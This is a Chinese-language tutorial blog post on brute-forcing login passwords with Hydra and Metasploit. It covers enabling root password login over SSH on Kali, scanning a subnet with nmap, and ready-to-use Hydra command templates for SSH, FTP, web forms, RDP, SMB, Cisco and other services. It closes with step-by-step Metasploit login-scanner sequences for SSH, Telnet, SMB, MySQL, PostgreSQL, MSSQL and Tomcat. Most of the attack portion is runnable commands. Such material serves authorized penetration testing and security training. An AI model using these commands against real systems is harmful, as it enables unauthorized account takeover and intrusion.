脚本小子练习的工具(一) ———Hydra 、Metasploit 仅供技术调试参考

一、Hydra简单介绍

Hydra是著名hack组织thc开发的一款开源的暴力密码破解工具 , ,可以在线破解多种密码 。 Hydra支持AFP、Cisco AAA、Cisco auth、Cisco enable、CVS、Firebird、FTP、uHTTP-FORM-GET、HTTP-FORM- POST、HTTP-GET、HTTP-HEAD、HTTP-PROXY、HTTPS-FORM-GET、HTTPS-FORM-POST、HTTPS-GET、HTTPS-HEAD、HTTP-Proxy、ICQ、IMAP、IRC、LDAP、MS-SQL、MySQL、NCP、NNTP、Oracle Listener、Oracle SID、Oracle、PC-Anywhere、PCNFS、POP3、POSTGRES、RDP、Rexec、Rlogin、Rsh、SAP/R3、SIP、SMB、SMTP、SMTP Enum、SNMP、SOCKS5、SSH(v1和v2)、Subversion、Teamspeak(TS2)、Telnet、VMware-Auth、VNC、XMPP等类型密码的破解 。 github:https://github.com/vanhauser-thc/thc-hydra

二、Hydra安装

暂略,以后安装补全 本文使用Kali内置Hydra。

三、 本机SSH服务开启前基础配置 (可略)

1.1 修改配置文件

如下图示:打开root/etc/ssh/sshd_config 目录下文件 把# Port 22 修改为 Port 22 ,开启22号端口 把# ListenAddress 0.0.0.0 修改为 ListenAddress 0.0.0.0 ,允许所有IP地址访问22号端口 把# PermitRootLogin yes 修改为 PermitRootLogin yes ,开通root用户登录权限,即root用户可以通过SSH远程登录Kali 把# PasswordAuthentication yes 修改为 PasswordAuthentication yes ,开通密码验证服务,使用SSH远程登录Kali时需要root用户的密码

1.2 在Kali界面开启SSH 服务,然后将Kali放到后台运行

在Kali命令后窗口输入 :service ssh start , 开启SSH远程登录服务

在Kali命令后窗口输入 :service ssh status , 查看SSH服务状态 ,如图示:running

在Kali命令后窗口输入 :service ssh stop ,关闭SSH服务

在Kali命令后窗口输入: service ssh restart ,重启SSH服务

在Kali命令后窗口输入: update-rc.d SSH enable ,开机自启SSH服务

在Kali命令后窗口输入: update-rc.d SSH disabled ,关闭SSH服务开机自启

1.3 使用putty等ssh连接软件登录Kali并进行管理操作

先查询一下本机ip

使用putty连接

连接成功

四、暴力破解(以SSH破解为例)

1、扫描哪些设备开启ssh服务

使用kali自带的namp扫描网段

nmap -p 22 –script=banner 192.168.2.0/24

我们这里可以看到192.168.2.45的ssh端口(22)已经开放

接下来我们将使用本文主角Hydra”九头蛇”来暴力破解目标机器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
我们现在命令行输入hydra -h来查看 Hydra的帮助信息 

参数:
-R 继续从上一次进度接着破解
-S 大写,采用SSL链接
-s 小写,可通过这个参数指定非默认端口
-l 指定破解的用户,对特定用户破解
-L 指定用户名字典
-p 小写,指定密码破解,少用,一般是采用密码字典
-P 大写,指定密码字典
-e 可选选项,n:空密码试探,s:使用指定用户和密码试探
-C 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数
-M 指定目标列表文件一行一条
-o 指定结果输出文件
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解
-t 同时运行的线程数,默认为16
-w 设置最大超时的时间,单位秒,默认是30s
-v /-V显示详细过程

各协议的具体命令: 格式+示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
(1)、破解ssh:
hydra -L 用户名字典 -p 密码字典 -t 线程 -vV -e ns ip ssh
hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh

(2)、破解ftp:
hydra ip ftp -L 用户名字典 -P 密码字典 -t 线程(默认16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV

(3)、get方式提交,破解web登录:
hydra -L 用户名字典 -p 密码字典 -t 线程 -vV -e ns ip http-get/admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get/admin/index.PHP

(4)、post方式提交,破解web登录:
hydra --L 用户名字典 -P 密码字典 -s 80 ip http-post-form"/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorrypassword"
hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form"login.php:id=^USER^&passwd=^PASS^:<title>wrong username orpassword</title>"
参数说明:
-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止,
10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中的内容是表示错误猜解的返回信息提示

(5)、破解https:
hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https
(6)、破解teamspeak:
hydra -L 用户名字典 -P 密码字典 -s 端口号 -vV ip teamspeak

(7)、破解cisco:
hydra -P pass.txt 10.36.16.18 cisco
hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable

(8)、破解smb:
hydra -L 用户名字典 -P pass.txt 10.36.16.18 smb

(9)、破解pop3:
hydra -l muts -P pass.txt my.pop3.mail pop3

(10)、破解rdp:
hydra ip rdp -l administrator -P pass.txt -V

(11)、破解http-proxy:
hydra -l admin -P pass.txt http-proxy://10.36.16.18

了解了详细命令继续进行破解

Kali中自带暴力破解字典,在/usr/share/wordlists/目录下 操作命令: hydra -L /usr/share/wordlists/ssh_username.txt -P /usr/share/wordlists/ ssh_password.txt -t 1 -vV -e ns 192.168.2.45 ssh

我这里用的个人爆破字典,推荐使用自定义的爆破字典,高效

破解成功如下图,这里只是演示所以结果很快

2、 使用Metasploit工具集中的小插件暴破SSH服务登录口令

第一步,开启Metasploit,我这里也是kali内置

运行如图

输入: search ssh ,查看与SSH相关的攻击模块 ,我们找到auxiliary/scanner/ssh/ssh_login 模块

在msf命令后界面输入 :use auxiliary/scanner/ssh/ssh_login ,调用SSH攻击模块

在msf命令后界面输入 :show options ,查看需要我们设置的参数 ,我们需要补充四点:目标主机IP地址、用户名字典路径、密码字典路径、线程数(即每秒跑几个密码)

set rhosts 192.168.2.45 #修改目标ip set user_file users.txt #修改使用用户字典 set pass_file password.txt #修改使用密码字典 set threads 5

然后我们使用show options来查看修改结果

接下来进行最后结果,输入run来执行,等一会就出结果了

这里提供Metasploit各个模块的口令猜解

SSH服务口令猜解:

1
2
3
4
5
6
7
msf > use auxiliary/scanner/ssh/ssh_login(使用ssh_login模块)
msf auxiliary(ssh_login) > show options (查看选项)
msf auxiliary(ssh_login) > set RHOSTS 10.107.0.99(目标)
msf auxiliary(ssh_login) > set USER_FILE /root/username.txt(用户名字典,或指定用户)
msf auxiliary(ssh_login) > set PASS_FILE /root/pass.txt(密码字典文件)
msf auxiliary(ssh_login) > set THREADS 50(线程)
msf auxiliary(ssh_login) > exploit (开始)

Telnet口令猜解:

1
2
3
4
5
6
msf > use auxiliary/scanner/telnet/telnet_login (使用telnet_login模块)
msf auxiliary(telnet_login) > show options (查看选项)
msf auxiliary(telnet_login) > set RHOSTS 10.180.100.141(目标)
msf auxiliary(telnet_login) > set USER_FILE /root/username.txt(用户名字典,或指定用户)
msf auxiliary(telnet_login) > set PASS_FILE /root/pass.txt(密码字典文件)
msf auxiliary(telnet_login) > exploit (开始)

Samba口令猜解:

1
2
3
4
5
6
msf > use auxiliary/scanner/smb/smb_login (使用smb_login模块)
msf auxiliary(smb_login) > show options (查看选项)
msf auxiliary(smb_login) > set RHOSTS 10.180.100.10(目标)
msf auxiliary(ssmb_login) > set USER_FILE /root/username.txt(用户名字典,或指定用户)
msf auxiliary(ssmb_login) > set PASS_FILE /root/pass.txt(密码字典文件)
msf auxiliary(ssmb_login) > exploit(开始)

Mysql口令猜解:

1
2
3
4
5
6
msf > use auxiliary/scanner/mysql/mysql_login (使用mysql_login模块)
msf auxiliary(mysql_login) > show options (查看选项)
msf auxiliary(mysql_login) > set RHOSTS 192.168.230.176(目标)
msf auxiliary(mysql_login) > set USERNAME root(用户名字典,或指定用户)
msf auxiliary(mysql_login) > set PASS_FILE /root/pass.txt(密码字典文件)
msf auxiliary(mysql_login) > exploit(开始)

Postgresq口令猜解:

1
2
3
4
5
6
msf > use auxiliary/scanner/postgres/postgres_login (使用postgres_login模块)
msf auxiliary(postgres_login) > show options (查看选项)
msf auxiliary(postgres_login) > set RHOSTS 192.168.230.10(目标)
msf auxiliary(postgres_login) > set USER_FILE /root/username.txt(用户名字典,或指定用户)
msf auxiliary(postgres_login) > set PASS_FILE /root/pass.txt(密码字典文件)
msf auxiliary(postgres_login) > exploit (开始)

Mssql口令猜解:

1
2
3
4
5
6
msf > use auxiliary/scanner/mssql/mssql_login (使用mssql_login 模块)
msf auxiliary(mssql_login) > show options (查看选项)
msf auxiliary(mssql_login) > set RHOSTS 10.107.0.64(目标)
msf auxiliary(mssql_login) > set USER_FILE /root/username.txt(用户名字典,或指定用户)
msf auxiliary(mssql_login) > set PASS_FILE /root/pass.txt(密码字典文件)
msf auxiliary(mssql_login) > exploit(开始)

Tomcat口令猜解:

1
2
3
4
5
6
msf > use auxiliary/scanner/http/tomcat_mgr_login (使用tomcat_mgr_login模块)
msf auxiliary(tomcat_mgr_login) > show options(查看选项)
msf auxiliary(tomcat_mgr_login) > set RHOSTS 192.168.230.176(目标)
msf auxiliary(tomcat_mgr_login) > set USER_FILE username.txt(用户名字典,或指定用户)
msf auxiliary(tomcat_mgr_login) > set PASS_FILE /root/pass.txt(密码字典文件)
msf auxiliary(tomcat_mgr_login) > exploit(开始)

以上就是Hydra、Metasploit的暴利破解过程。